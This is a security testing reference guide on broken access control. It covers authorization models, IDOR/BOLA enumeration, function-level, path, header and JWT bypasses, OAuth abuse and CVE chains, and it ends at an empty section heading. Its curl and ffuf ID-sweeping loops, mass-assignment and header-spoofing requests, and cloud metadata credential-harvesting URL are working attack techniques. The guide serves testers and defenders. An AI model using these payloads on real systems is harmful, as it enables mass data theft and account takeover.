Comprehensive Authorization & Access Control Guide#
A practitioner’s reference for Broken Access Control (OWASP A01) — the models, bug classes, bypass techniques, real-world chains, and detection/prevention patterns that matter in modern web and API testing. Compiled from 80 research sources.
Table of Contents#
- Fundamentals
- Authorization Models
- Attack Surface & Discovery
- Vertical Privilege Escalation
- Horizontal Privilege Escalation & IDOR/BOLA
- Broken Function Level Authorization
- URL, Method & Header Bypasses
- Parameter & Keyword Bypasses
- JWT & Token Claim Manipulation
- OAuth Scope & Redirect Abuse
- Multi-Tenant & Session Isolation Failures
- Cloud & AI Agent Authorization
- Real-World CVEs and Chains
- Tools & Automation
- Detection & Prevention
- Testing Methodology
- Quick Reference
1. Fundamentals#
Access control is the application of constraints on who or what is authorized to perform actions or access resources. It sits on top of two related primitives:
| Layer | Question | Failure mode |
|---|---|---|
| Authentication (AuthN) | Who are you? | Credential stuffing, SQLi login bypass, weak reset tokens |
| Session management | Which requests belong to the same caller? | Token fixation, weak “remember me” tokens |
| Authorization (AuthZ) | Are you allowed to do this? | BOLA, BFLA, privilege escalation |
Broken access control has been the #1 OWASP Top 10 vulnerability since 2021 and remains at the top in the 2025/2026 lists. The 2021 dataset showed 94% of tested applications with some form of BAC, with 318k+ occurrences across 34 mapped CWEs — more than any other category. The 2025 update reports 100% of applications tested had some form of broken access control. BOLA has simultaneously held the #1 spot in the OWASP API Security Top 10 from 2019 through 2023. BAC is responsible for more paid bug bounty reports than any other category on HackerOne, and BOLA accounts for approximately 40% of all API attacks.
The 2026 SANS Identity Threats & Defenses Survey reinforces why: 55% of organizations experienced an identity-related compromise in the past year, despite 85% deploying identity security solutions. 68% detect identity attacks within 24 hours, but only 55% can contain them in that same window — the gap between detection and containment is where attackers establish footholds, escalate privileges, and move laterally using valid credentials.
Why it dominates:
- Authorization is business logic — no framework, linter, or scanner can infer the correct policy from code alone.
- Modern apps have many edges (REST, GraphQL, webhooks, background workers, mobile APIs, admin panels) and each edge must independently enforce the same rules.
- Every new feature introduces a new object type, new role, new endpoint — and new chances to forget a check.
- Developers conflate hiding a button with enforcing a control.
- The transition from monoliths to microservices dissolved the authorization perimeter — each service may implement different logic, leading to inconsistent enforcement and invisible gaps.
- Non-Human Identities (NHIs) — service accounts, ephemeral workloads, AI agents — now vastly outnumber human users and suffer from privilege creep (permissions added but rarely removed).
- SAST tools cannot infer business intent (they lack access to the access control matrix), and DAST tools see a 200 OK with user data as a successful request, not a breach — both are structurally blind to BAC.
- Infostealers harvest credentials and tokens that remain valid for weeks or months, enabling attackers to authenticate legitimately and bypass every identity control.
Three classes of broken access control:
| Class | Description | Typical impact |
|---|---|---|
| Vertical | Low-priv user reaches admin-only functionality | Full site takeover, user deletion, config change |
| Horizontal | User A reaches User B’s resources | PII disclosure, mass scraping, ATO via reset |
| Context-dependent | User skips or replays a required step | Buying without paying, approving own request |
Impact spectrum: Read one extra record → Enumerate entire user base → Modify other tenants’ data → Escalate to admin → Pivot to cloud/internal systems → Full platform compromise.
2. Authorization Models#
Understanding the intended model is a prerequisite to spotting where it breaks.
2.1 DAC — Discretionary Access Control#
Resource owners decide who can access what. Think Unix file permissions, Google Docs “share with…”, GitHub repo collaborators. Common failures:
- Ownership transfers that don’t revoke old permissions.
- “Public” toggles that silently expose historical objects.
- Share-link tokens that are low-entropy or never expire.
2.2 MAC — Mandatory Access Control#
A central policy dictates access — the user cannot override it. Classic in classified-data systems, SELinux, and regulated workloads. Failures tend to be configuration mistakes (wrong label, missing category) rather than logic bugs.
2.3 RBAC — Role-Based Access Control#
Permissions are bundled into roles (viewer, editor, admin, billing_admin) and users are granted roles. The dominant model in SaaS. Failure modes:
- Role sprawl — dozens of roles that overlap or have undocumented superpowers.
- Implicit admin — a non-admin role that inherits a dangerous permission (e.g.
supportcan impersonate users). - Client-side role checks — the UI hides the button but the API accepts the call.
- Role escalation endpoints — a
PATCH /users/:idthat accepts{role: "admin"}from any authenticated user.
2.4 ABAC — Attribute-Based Access Control#
Decisions are computed from attributes of the subject, resource, action, and environment (if user.department == resource.department and time < 18:00). Flexible, but the policy surface is huge. Failure modes:
- Missing attributes default to
allow. - Attribute sources are user-controllable (e.g. a JWT claim the user can edit).
- Policy engines (OPA, Cedar) evaluated against stale or cached data.
2.5 ReBAC — Relationship-Based Access Control#
Authorization is derived from a graph of relationships (user -> member_of -> team -> owns -> document). Examples: Google Zanzibar, SpiceDB, OpenFGA. Failure modes:
- Relationship writes not atomic with resource writes (TOCTOU).
- Indirect paths that the developer didn’t model (a guest in a parent folder inherits access to a sensitive child).
- Tuple deletion races — revoke arrives after the read.
2.6 Model comparison#
| Model | Granularity | Best for | Primary risk |
|---|---|---|---|
| DAC | Per-resource | Collaboration tools | Ownership drift |
| MAC | Per-label | Regulated data | Misconfiguration |
| RBAC | Per-role | Enterprise SaaS | Role sprawl, missing checks |
| ABAC | Per-attribute | Dynamic/contextual | Policy gaps, attribute trust |
| ReBAC | Per-relationship | Graph-shaped apps | Indirect paths, write races |
| PBAC | Per-policy | Microservices, PaC | Policy drift, PDP latency |
Real apps usually mix these — for example, RBAC for coarse roles plus ABAC for row-level filters plus ReBAC for sharing.
2.7 PBAC — Policy-Based Access Control#
PBAC centralizes authorization decisions in a dedicated Policy Decision Point (PDP) that evaluates policies against runtime context, while a Policy Enforcement Point (PEP) in each service/gateway enforces the verdict. This decouples authorization logic from application code and is the foundation of “Policy as Code” (PaC). Tooling: OPA/Rego, Cedar (AWS Verified Permissions), Auth0 FGA, OpenFGA. Failure modes:
- PDP latency causing developers to cache decisions → stale authorizations.
- Policy drift when PaC repo and running policies diverge.
- Overly permissive default policies shipped to unblock development.
2.8 Kubernetes RBAC#
Kubernetes implements RBAC via four API objects: Role, ClusterRole, RoleBinding, and ClusterRoleBinding. Roles are namespace-scoped; ClusterRoles are cluster-wide. Key failure modes:
- Wildcard verbs or resources (
*) in Roles granting unintended access. ClusterRoleBindingstosystem:mastersor broad groups.- Namespace sprawl without corresponding RBAC audit — teams discover 10,000+ containers across 50 clusters with no one owning the permission model.
- Service accounts with accumulated permissions that break the principle of least privilege.
Best practices: enforce PoLP per namespace, automate RBAC with OPA policy-as-code, regularly audit with tools like kubiscan, and use namespace isolation to contain blast radius.
2.9 Authorization model design anti-pattern: the Winchester Mystery House#
Authorization systems that grow ad-hoc — a simple if user is owner check evolving into spaghetti if/else as features like “Teams,” “Shared Folders,” and “Admin Overrides” are added — become a Winchester Mystery House: inconsistent controls, sometimes useless, always challenging to understand. The remedy is deliberate architectural design with a centralized PDP/PEP pattern from the start, not bolted-on authorization after the fact.
3. Attack Surface & Discovery#
3.1 Where broken access control hides#
From the Intigriti BugQuest series, seven recurring hotspots:
- New features shipped without a full authorization pass.
- Premium/paid features gated only in the UI or billing layer.
- Legacy code — “we wrote this in 2016, nobody remembers how.”
- Third-party integrations — webhooks, OAuth apps, SSO bridges.
- APIs — especially mobile and partner APIs not surfaced in the web UI.
- Complex permission systems — custom roles, ACL-per-object, impersonation.
- File operations — upload, download, export, import.
3.2 Finding hidden endpoints#
| Source | What it reveals |
|---|---|
robots.txt, sitemap.xml, security.txt | Admin paths the author tried to hide |
.well-known/ | OIDC, OAuth, assetlinks, apple-app-site-association |
package.json, swagger.json, openapi.json | Full route inventory |
.git/config, .env, backup files | Credentials, internal hostnames |
| JavaScript bundles | Route strings, role flags (isAdmin), API base URLs |
| GraphQL introspection | Every query/mutation/field |
| Mobile app binaries (APK/IPA) | Hidden admin APIs, debug endpoints |
| Wayback Machine, CT logs, GitHub search | Deleted or internal endpoints still live |
| Postman collections, Pastebin | Leaked internal API specs |
3.3 Parameters that scream “test me”#
- Path:
/api/user/1234,/invoice/550e8400-... - Query:
?id=,?user=,?org=,?tenant=,?role=,?admin=true - Body:
{"user_id":321,"order_id":987,"role":"viewer"} - Headers/cookies:
X-Client-ID,X-Tenant,X-User-Role
Prefer endpoints that read or modify (GET, PUT, PATCH, DELETE) over pure writes, and note whenever identifiers look sequential or predictable — if your ID is 64185742, then 64185741 almost certainly exists.
3.4 Identifier taxonomy#
| Type | Example | Exploitability |
|---|---|---|
| Sequential integers | /users/482 | Trivial — increment/decrement |
| Natural keys | SSN, license plate, email | Guessable from external data |
| Composite keys | user_id + product_id → order | Fuzz both positions |
| User-chosen | Username, URL slug | Enumerable via registration |
| UUIDs | 550e8400-e29b-... | Hard to guess, but leakable in API responses, logs, emails |
| Hashes | md5(file_content) | Grindable if input space is small |
| Base64-encoded | Mg== (= 2) | Encoding is not entropy |
3.5 Permissions mapping methodology#
From HackerOne’s BAC guide: before testing, build a matrix of roles x actions. For a blog app:
| Action | Unauthenticated | Editor | Admin | Should have access? |
|---|---|---|---|---|
| Create post | No | Yes | Yes | |
| Read posts | Yes | Yes | Yes | |
| Delete post | No | No | Yes |
Then fill in “does have access” for every cell. Any mismatch where “does have access” = Yes but “should” = No is a finding. Burp Autorize automates this with two-session diffing.
4. Vertical Privilege Escalation#
Vertical escalation = a user reaches functionality reserved for a higher privilege tier.
4.1 Unprotected functionality#
The simplest and still most common flaw: admin pages exist at predictable URLs with no server-side role check.
https://target.com/admin
https://target.com/admin.php
https://target.com/administrator
https://target.com/dashboard/admin
Even when the path is “secret” (/administrator-panel-yb556), the URL is often leaked:
<script>
var isAdmin = false;
if (isAdmin) {
var a = document.createElement('a');
a.href = 'https://target.com/administrator-panel-yb556';
}
</script>
The script — and the URL — is served to every user regardless of role. “Security by obscurity” is not access control.
4.2 Parameter-based role flags#
Some apps store the user’s role in a client-controllable location and trust it:
GET /login/home.jsp?admin=true
GET /dashboard?role=1
POST /account {"user_type": "admin"}
Cookie: role=user -> Cookie: role=admin
If the server reads the role from the request instead of the session, toggling the value escalates.
4.3 Hidden form fields and mass assignment#
Registration or profile endpoints that accept an unexpected field:
POST /register
{
"email": "attacker@example.com",
"password": "...",
"role": "admin", <- accepted silently
"is_superuser": true,
"email_verified": true
}
Rails, Django, Laravel, and Spring are especially prone to this when the model is bound directly from request JSON without an allow-list.
4.4 Platform-layer rule bypasses#
If the access control is enforced by the web server or API gateway (“deny POST /admin/* to non-admins”) the app may still be vulnerable when:
- The method is changed (
GET/HEAD/OPTIONS/TRACE) and the backend accepts it. - URL normalization differs between gateway and app (
/admin/./deleteUser,/Admin/DeleteUser,/admin/deleteUser;x=y). - A header rewrites the effective path (see §7).
5. Horizontal Privilege Escalation & IDOR/BOLA#
5.1 IDOR vs BOLA#
The same bug by two names:
- IDOR (Insecure Direct Object Reference) — the classic web-era term.
- BOLA (Broken Object Level Authorization) — OWASP API Security Top 10 #1, identical concept reframed for APIs.
Both occur when the application uses a user-supplied identifier to look up an object without verifying the caller owns or is entitled to it.
5.2 The minimal test#
With a low-privilege authenticated session, change only the ID — keep the same cookie/token — and see if you still get the target object.
PUT /api/lead/cem-xhr HTTP/1.1
Cookie: auth=<your session>
Content-Type: application/json
{"lead_id": 64185741} <- someone else's lead
Absence of an authorization error is the tell.
5.3 Enumeration patterns#
Sequential integer IDs are the jackpot — sweeping them gives full-table disclosure:
for id in $(seq 1 100000); do
curl -s -H "Cookie: $COOKIE" "https://target/api/object/$id" \
| jq -e '.email' && echo "hit $id"
done
With ffuf and an authenticated cookie:
ffuf -u 'https://target/download.php?id=FUZZ' \
-H 'Cookie: PHPSESSID=<session>' \
-w <(seq 0 100000) \
-fr 'File Not Found'
5.4 Predictable “unguessable” identifiers#
A GUID/UUID isn’t automatically safe:
- UUIDv1 leaks MAC address and timestamp — grindable.
- Base64-encoded integers (
Mg===2) are just integers in disguise. - Hash-encoded IDs with a known salt (
md5(user_id + "secret")) fall to rainbow tables or source disclosure. - Hex-encoded short strings — the 2026 Carlsberg wristband QR case encoded short IDs like
C-285-100as ASCII-hex432d3238352d313030; the 26M keyspace was exhausted in about 52 hours at 139 req/s, exposing photos, videos, and names of ~500 visitors in the first sample run.
Lesson: encoding is not entropy. Any ID that functions as a bearer token must be a high-entropy random secret.
5.5 Combinatorial / multi-ID IDORs#
Some endpoints take two or more IDs:
GET /chat.php?chat_users[0]=42&chat_users[1]=7
If the check is “are you logged in” and not “are you one of chat_users[*]”, fuzz both positions and keep only unique unordered pairs:
ffuf -u 'https://target/chat.php?chat_users[0]=A&chat_users[1]=B' \
-w <(seq 1 1000):A -w <(seq 1 1000):B \
-H 'Cookie: PHPSESSID=<session>'
5.6 Error-response oracles#
Subtle differences in responses create enumeration oracles:
| Response | Meaning |
|---|---|
| 404 “User not found” | The username doesn’t exist |
| 403 “Forbidden” | The username exists but you can’t access it |
| 200 with empty body | Exists, you have partial access |
| 500 stack trace | Exists, internal state was touched |
Length, timing, and status-code deltas are all oracles — even when the body looks identical.
5.7 Redirect leaks#
An app that detects unauthorized access and redirects to /login may still include the target’s sensitive data in the redirecting response body or Location header fragment. Always inspect the raw 302 before following it.
5.8 Header and cookie IDORs#
Object identifiers are not limited to URL paths and query strings. Test:
# Custom headers
GET /api/profile HTTP/1.1
X-User-ID: 124
X-Account-ID: 457
# Cookies
Cookie: user_id=124; session=abc123
# Base64-encoded cookies
Cookie: user_data=eyJ1c2VyX2lkIjoxMjR9
# Decode: {"user_id":124}
# Authorization tokens with embedded IDs
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...
# Decode, modify user_id, re-encode
5.9 File and nested resource IDORs#
# Document downloads
/download?file=document_124.pdf
/images/user/124/avatar.jpg
/backups/user_124_backup.zip
# Nested REST resources — BOLA at multiple levels
GET /api/companies/1/employees/123 # Your company
GET /api/companies/2/employees/123 # Different company
# GraphQL
query { user(id: 124) { email, phone, ssn } }
For nested resources, authorization may be checked at the parent level but not the child level — always test both.
5.10 Batch and bulk endpoint IDORs#
Batch endpoints that accept arrays of IDs may skip per-object authorization:
POST /api/delete-users
{"ids": [123, 124, 125]}
If the handler validates that 123 belongs to you but processes the entire array, 124 and 125 are deleted without authorization checks.
5.11 Horizontal → vertical pivot#
Horizontal reads on the right victim become vertical escalation. If the IDOR lets you view or change arbitrary users, target an admin account: read their password reset token, change their email, or scrape their session cookie from an exported audit log.
6. Broken Function Level Authorization#
OWASP API Security Top 10 #5 — BFLA is the function-level sibling of BOLA.
Where BOLA is “I can read object X I shouldn’t,” BFLA is “I can call function F I shouldn’t.” The function itself is what’s privileged.
Typical shape:
# Low-priv user
POST /api/admin/users/delete {"id": 42} -> 200 OK
POST /api/admin/config {"maintenance": true} -> 200 OK
Watch for:
- Role naming conventions in paths (
/admin/…,/internal/…,/mgmt/…,/debug/…). - HTTP method toggles —
GET /usersworks,POST /userscreates a user,DELETE /users/1deletes — and onlyGETis checked. - “Bulk” variants —
/users/bulk-updatemay skip the per-object authorization that/users/:idenforces. - GraphQL mutations — resolvers frequently check authentication but not authorization.
CVE-2025-67274 (aangine 2025.2) is textbook BFLA: low-privileged authenticated users could send HTTP requests directly to admin-restricted backend API endpoints (template management, integration jobs, logs, portfolio data) because the JWT’s role and scope claims were never validated at the API layer. The UI correctly hid the admin panel; the API didn’t.
OWASP BLA9:2025 — Business Logic Abuse list highlights additional BFLA patterns:
- GitLab branch deletion (CVE-2021-39931): the
DELETE /api/v4/projects/:projectId/repository/branches/:branchIdendpoint lacked any role/permission check — any valid token succeeded regardless of scope. - Mealie self-permission editing (CVE-2024-55070): group managers could
PUT /api/households/permissionsto addcanManage,canInvite, andcanOrganizeto their own account, escalating their own privileges. - LiteLLM
/config/update(CVE-2026-35029): the endpoint accepted any authenticated user’s request to modify runtime configuration — no role check — enabling arbitrary file read, admin account takeover, or RCE. Fix: requireproxy_adminrole.
Mapped CWEs for BFLA: CWE-863, CWE-862, CWE-732, CWE-284, CWE-639.
7. URL, Method & Header Bypasses#
When the access control is enforced by a reverse proxy, API gateway, or URL pattern matcher, small discrepancies between the gateway’s normalization and the backend’s routing yield bypasses.
7.1 Path normalization tricks#
| Variant | Why it works |
|---|---|
/ADMIN/DELETEUSER | Case-insensitive backend, case-sensitive gateway |
/admin/deleteUser/ | Trailing slash collapses to a different route |
/admin/deleteUser.anything | Spring useSuffixPatternMatch (default < 5.3) |
/admin/deleteUser;x=y | Matrix parameter stripped by the backend only |
/admin//deleteUser | Double slash collapses on one side |
/admin/./deleteUser | Dot-segment normalized on one side |
/admin/%2e/deleteUser | Encoded dot segment |
/admin/%2fdeleteUser | Encoded slash treated literally by the gateway |
/admin%20/deleteUser | Trailing whitespace ignored by backend |
/admin/deleteUser? | Query separator at end bypasses exact-match ACL |
7.2 HTTP method overrides#
| Override | Notes |
|---|---|
| Raw method change | GET → POST, POST → PUT, DELETE → POST with ?_method=DELETE |
X-HTTP-Method-Override: DELETE | Honored by many Java and Node frameworks |
X-HTTP-Method: DELETE | Alternative header name |
X-Method-Override: PUT | Alternative header name |
_method=DELETE form field | Rails, Laravel |
Rails “format” bypasses are common: /admin/users checks auth for HTML, but /admin/users.json, .xml, .csv skip the filter.
7.3 URL rewrite headers#
Some frameworks let a request header override the URL the router sees:
POST / HTTP/1.1
Host: target.com
X-Original-URL: /admin/deleteUser
X-Rewrite-URL: /admin/deleteUser
If the gateway applies ACLs to the outer path (/) and the app routes on the header, the control is skipped entirely.
7.4 Referer-based access control#
Some admin subpages only check Referer: .../admin. Since the client sends it, attackers forge it:
GET /admin/deleteUser?id=1 HTTP/1.1
Referer: https://target.com/admin
7.5 Location/geofencing#
IP-based, country-based, or device-based access control falls to:
- VPN / residential proxy / cloud egress in the right region.
X-Forwarded-For: 127.0.0.1,X-Real-IP,X-Client-IP,True-Client-IP,CF-Connecting-IP,Forwarded: for=127.0.0.1— any of these may be trusted if the app is behind a misconfigured reverse proxy.- Client-side geolocation manipulation in the browser dev tools.
8. Parameter & Keyword Bypasses#
8.1 Keyword replacement#
APIs often accept synonyms like me, current, self, my:
GET /api/users/me
GET /api/users/current
GET /api/users/self
If you replace me with an actual user ID — or vice versa — the check may fail open:
GET /api/users/42 <- explicit ID, sometimes less checked than /me
GET /api/users/me?id=42 <- hybrid that the router may resolve differently
8.2 HTTP Parameter Pollution (HPP)#
Duplicate parameters behave differently across stacks:
| Stack | ?id=1&id=2 resolves to |
|---|---|
| PHP | Last (2) |
| ASP.NET | Both, comma-joined (1,2) |
| Node Express | Array ([1,2]) |
| Python Flask | First (1) |
| Java Servlet | First (1) |
If the authorization check reads the first and the resource loader reads the last, mismatch = bypass.
8.3 Array/object injection#
{"user_id": 42} -> checked
{"user_id": [42, 99]} -> second ID slips through
{"user_id": {"$ne": null}} -> NoSQL operator injection
{"user_id": 42, "user_id": 99} -> duplicate key, last wins
8.4 Multi-step process skipping#
A checkout flow of cart → review → pay → confirm may check authorization only on pay. Jumping directly to confirm bypasses payment entirely. Always map multi-step flows and try each step in isolation.
8.5 Race conditions#
Authorization decisions made in one request and acted on in another are racy:
- Invitation accepted + immediately revoked — hit the endpoint in the window.
- Token-gated one-shot action (redeem coupon, claim refund) — parallel requests.
- Share-link disabled — still valid in cache for N seconds.
Turbo Intruder’s “single-packet attack” and Burp’s “send group in parallel” are the standard tools.
9. JWT & Token Claim Manipulation#
JWTs are a major AuthZ failure surface because the claims inside them (role, scope, tenant_id, sub) are often trusted without proper verification.
9.1 Algorithm confusion#
| Attack | How |
|---|---|
alg: none | Server accepts unsigned tokens |
RS256 → HS256 | Server verifies HS256 using the public RSA key as the HMAC secret |
ES256 → HS256 | Same pattern with ECDSA public keys |
| Weak HS256 secret | Brute-force with hashcat -m 16500 |
kid injection | SQLi, path traversal, or SSRF in the key-id lookup |
jku/x5u with attacker URL | Server fetches the signing key from an attacker host |
| Mixed algorithm libraries | Different verify paths on different endpoints |
9.2 Claim tampering#
Even with signatures intact, the server may honor claims it shouldn’t trust:
{
"sub": "alice",
"role": "user",
"tenant": "acme",
"is_admin": false
}
Watch for:
- A
roleorscopeclaim that the server reads but doesn’t re-verify against the database. subswitched to another user ID after signature bypass.tenant_id/org_id/workspace_idswapped — multi-tenant bypass.expmissing or in the distant future.aud/issnot validated — tokens from a sibling service accepted.nbfin the past but token was marked revoked — revocation cache miss.
9.3 OIDC cache collisions#
CVE-2026-35030 (LiteLLM): when JWT auth was enabled, LiteLLM cached OIDC userinfo using token[:20] as the cache key. JWTs from the same signing algorithm share the same header prefix, so an attacker could forge a token whose first 20 characters matched another user’s token, hitting their cache entry and inheriting their session. Fix: key on sha256(token). Pattern: any OIDC integration that caches by token prefix is vulnerable to this class of collision.
9.4 Token chaining and mix-ups#
- Access token accepted where a refresh token was expected.
- ID token (OIDC) accepted by resource server that expected an access token.
- First-party token from one environment accepted in another (dev token on prod).
- Impersonation tokens that don’t embed the impersonator identity in the audit trail.
10. OAuth Scope & Redirect Abuse#
OAuth/OIDC is a leading source of high-impact authorization bugs because the protocol has many knobs and few clients implement them rigorously.
10.1 Scope escalation#
- Requesting a broader scope than the client is registered for — the authorization server should reject, but many don’t.
- Scope upgrade on refresh — refresh token request with new scopes that weren’t in the original grant.
- Incremental authorization that silently approves future scopes.
- Scope parameter treated as free-text —
scope=read write admin.
10.2 redirect_uri bypasses#
| Variant | How it works |
|---|---|
| Open whitelist | https://*.target.com matches https://evil.target.com |
| Path prefix | Registered https://target.com/cb, accepts https://target.com/cb/../evil |
| Scheme mix | http:// accepted when https:// was registered |
| Fragment injection | # in the URI gets appended to attacker’s URL |
| Trailing data | https://target.com@evil.com, https://target.com.evil.com |
| Path traversal | https://target.com/cb/%2e%2e/redirect?url=evil |
| Port manipulation | Registered :443, accepts :8443 |
| IDN / punycode | https://tаrget.com (Cyrillic а) |
| Localhost loophole | http://localhost:1337 accepted for web clients |
| Missing parameter | No redirect_uri defaults to first registered URI which may be wildcarded |
10.3 State and PKCE#
- Missing
state→ CSRF on the OAuth handshake, attacker-initiated login with attacker’s session swapped mid-flow. - Reusable
code— single-use should be enforced. - PKCE missing or
code_challenge_method=plain. - PKCE
verifiernot bound to the session that initiated the flow.
10.4 Token leaks#
access_tokenin the URL fragment logged by analytics, Referer leaks, browser history.- JWTs stored in
localStorage— exfiltrated via any XSS. - Tokens echoed in error pages or email receipts.
11. Multi-Tenant & Session Isolation Failures#
Multi-tenant SaaS adds a tenant dimension to every authorization check. Miss it on one endpoint and a customer can read another customer’s data.
11.1 Patterns#
- Tenant ID in the URL, not the session.
/api/v1/orgs/ORG123/users/42— if the server looks up user 42 in the global table and returns it,ORG123is just decoration. - Tenant-scoped token used cross-tenant. The token says
org: A, but the query runsSELECT * FROM users WHERE id = ?with no tenant filter. - Row-level security forgotten in a background job. The web layer enforces
tenant_id = current.tenant, the worker doesn’t. - Shared cache keys.
cache.get("user:42")without a tenant prefix — user 42 from tenant B is served to tenant A. - Global admin accounts that silently inherit all tenants — single compromise = full SaaS compromise.
11.2 OpenClaw-style session isolation failures#
The OpenClaw CMS disclosure is a representative multi-user session isolation bug: authenticated users of one tenant could view, modify, and impersonate users of other tenants by altering a single tenant parameter, because the session stored only user_id and the tenant was derived from the request. Fix: bind the tenant into the session at login time and compare against it on every lookup.
11.3 Pass-the-hash and weak credential storage#
The LiteLLM disclosure (GHSA-69x8-hrgq-fjj8) demonstrates a multi-layered credential failure: passwords stored as unsalted SHA-256 hashes, API endpoints returning the hash to any authenticated user, and the login endpoint accepting raw hashes as credentials without re-hashing. A stolen hash was as good as the plaintext password. Fix: scrypt with random salts, strip hashes from all API responses. Pattern: any system that exposes password hashes or accepts them as bearer credentials collapses authentication into a single stolen value.
11.4 Testing multi-tenancy#
- Create two tenants (A, B) with distinct users.
- Perform every action as tenant A and capture the object IDs.
- Log in as tenant B and replay every request, substituting A’s IDs.
- Repeat with the tenant identifier swapped in each header, cookie, path, and body field.
- Repeat for bulk/export endpoints, webhooks, and downloadable artifacts.
Burp’s Autorize extension with two sessions (one per tenant) automates step 3.
12. Cloud & AI Agent Authorization#
Cloud IAM and managed-AI services have introduced a new generation of authorization failures where the victim is the cloud tenant and the attacker is a workload or agent inside it.
12.1 Over-privileged service identities#
The 2026 Unit 42 “Double Agents” research on GCP Vertex AI is a representative case:
- A deployed Vertex AI agent’s per-project service agent (P4SA) had default permissions that let the agent extract its own credentials from the metadata service (
metadata.google.internal/computeMetadata/v1/instance/?recursive=true). - The harvested token had
storage.buckets.get/listandstorage.objects.get/liston the entire consumer project — granting the agent read of every bucket. - The same token also reached Google-owned producer-side Artifact Registry repositories (
cloud-aiplatform-private/reasoning-engine), exposing internal container images.
Generalizable takeaways:
- Default roles on managed services are almost always broader than the tenant needs.
- Any workload with code execution + metadata service access is one step from its full IAM role.
- Producer/consumer boundaries blur when a managed identity crosses them.
12.2 IAM failure patterns#
| Pattern | Risk |
|---|---|
* in role/action | Trivially abusable |
iam:PassRole without a resource filter | Privilege escalation via Lambda/EC2/Glue |
| Trust policies with wildcard principals | Cross-account assume-role from anyone |
| Service control policies that only deny by tag | Untagged resources bypass |
| Resource policies less restrictive than identity policies | Least-restrictive wins |
| Long-lived static keys in CI | Leaked → durable access |
12.3 AI agent authorization#
Beyond cloud IAM, AI agents introduce their own AuthZ surface:
- The agent acts under a single identity but reasons over prompts from many users — per-prompt authorization must be enforced in tool invocations.
- Tools that wrap APIs must re-check the user’s entitlements on every call, not trust the agent loop.
- Prompt injection can coerce an agent to misuse its privileges — treat agents as confused deputies by default.
- Training data, vector stores, and RAG indexes need tenant isolation or they leak across customers.
12.4 Identity sprawl and hybrid environments#
The 2026 SANS Identity Threats Report highlights that modern identity attacks succeed not by breaking authentication but by using already-compromised credentials via legitimate access paths. The attack chain: infostealer malware harvests credentials from endpoints → credentials circulate for weeks/months → attacker authenticates legitimately → MFA prompts approved, login behavior appears expected → lateral movement via valid access paths. Nothing looks broken — and that is the problem.
Identities now span on-premises Active Directory, cloud identity providers, and SaaS applications. A single authentication flow may traverse all three. Exposed credentials in one system can be reused across others; visibility is fragmented across tools. Forced password rotation does not address whether credentials have already been compromised — the real defense is continuous credential exposure monitoring.
12.5 Kubernetes-specific authorization failures#
| Pattern | Risk |
|---|---|
Wildcard * in Role verbs/resources | Unintended access to all API objects |
ClusterRoleBinding to broad groups | Cluster-wide privilege for teams that need namespace access |
| Service accounts with accumulated permissions | Privilege creep across deployments |
| Missing namespace isolation | Breach in one namespace spreads cluster-wide |
| No RBAC audit for sprawling clusters | 10,000+ containers with no permission model owner |
Remediation: enforce PoLP per namespace, automate RBAC audit with OPA/kubiscan, use RoleBinding over ClusterRoleBinding whenever possible, and treat every service account as a potential compromise vector.
13. Real-World CVEs and Chains#
13.1 CVE-2025-67274 — aangine BOLA#
Low-privileged authenticated users at aangine 2025.2 could call multiple admin-restricted API endpoints — template management, integration jobs, logging, portfolio data — because the API layer never validated the role/scope claims in the JWT. Fix: backend-side authorization checks on every endpoint, plus verification testing. Textbook BFLA.
13.2 CVE-2026-34886 — WordPress Simple Membership#
Versions ≤ 4.7.1 of the Simple Membership WordPress plugin allowed unauthenticated actors to trigger privileged operations (membership level changes, subscriber record edits, potential API key disclosure). Root cause: AJAX/REST endpoints lacking capability and nonce verification — the handler assumed the request was authenticated because it came from an admin UI context. Patched in 4.7.2. Pattern: AJAX handlers in WordPress plugins consistently ship without current_user_can() and without check_ajax_referer().
13.3 McHire / Paradox.ai — 64M Applicant BOLA (2025)#
Paradox.ai-powered McHire recruitment portal:
- Endpoint:
PUT /api/lead/cem-xhr - Auth: any restaurant test account session (obtained via default creds
123456:123456) - Body:
{"lead_id": <8-digit sequential>}
Decrementing lead_id returned arbitrary applicant PII (name, email, phone, address, shift prefs) plus a consumer JWT usable for session hijacking. Keyspace 1..64,185,742 implied ~64M records. Chain: default credentials → tenant access → sequential ID IDOR → mass PII + token theft.
13.4 Carlsberg “Memories” wristband IDOR (2026)#
Exhibition visitors got QR-coded wristbands whose ID (C-285-100) was hex-encoded and sent to a Cloud Function backend to fetch stored media. No session binding — knowing the ID was authorization. The ~26M-combination keyspace was exhaustible in ~52 hours at modest rates. Vendor’s claimed rate limit was ineffective — identical throughput after “remediation.” Lesson: short IDs are bearer tokens; encoding is not entropy; rate limits must be measured, not asserted.
13.5 OpenClaw — cross-tenant session isolation#
Authenticated users of one OpenClaw tenant could alter a tenant parameter to pivot into other tenants’ user stores, enabling user read, modify, and impersonation. Root cause: session bound user_id but not tenant_id; tenant derived from the request at every call. Chain: valid low-priv session → parameter swap → cross-tenant admin impersonation → full multi-tenant takeover.
13.6 GCP Vertex AI — Double Agents (2026)#
Malicious agent deployed to Agent Engine → metadata service → P4SA token → consumer buckets + Google-internal Artifact Registry images. Chain: agent code execution → metadata → IAM token → cross-project pivot. Google’s remediation was documentation and default-permission tightening — the underlying design of broad P4SA defaults is the root cause.
13.7 LiteLLM — OIDC cache collision + privilege escalation (2026)#
Three high/critical CVEs disclosed together:
- CVE-2026-35030 (Critical): Authentication bypass via OIDC cache collision. When
enable_jwt_authwas enabled, userinfo was cached bytoken[:20]— tokens sharing the same signing algorithm prefix collided. Attacker forges a token matching another user’s cache key → inherits their session. Fix:sha256(token)as cache key. - CVE-2026-35029 (High):
/config/updateaccepted any authenticated user — no role check. Arbitrary file read, admin takeover, or RCE. Fix: requireproxy_adminrole. - GHSA-69x8-hrgq-fjj8 (High): Passwords stored as unsalted SHA-256, exposed to any authenticated user via API, and the login endpoint accepted raw hashes as credentials (pass-the-hash). Fix: scrypt + random salts, strip hashes from responses.
Chain: valid low-priv API key → cache collision OR pass-the-hash → admin session → runtime config modification → RCE.
13.8 Optus — Dormant API data breach (2022)#
A coding error in access control left an API open for years, allowing unauthenticated requests to reach customer records. Approximately 10 million current and former customer records (driver’s license numbers, email, phone) exposed. The flaw went undetected because the endpoint was “dormant” — legacy code that drifted out of policy. Lesson: treat all external endpoints as hostile; continuously inventory, test, and retire dormant APIs.
13.9 Kia — License plate to vehicle takeover (2024)#
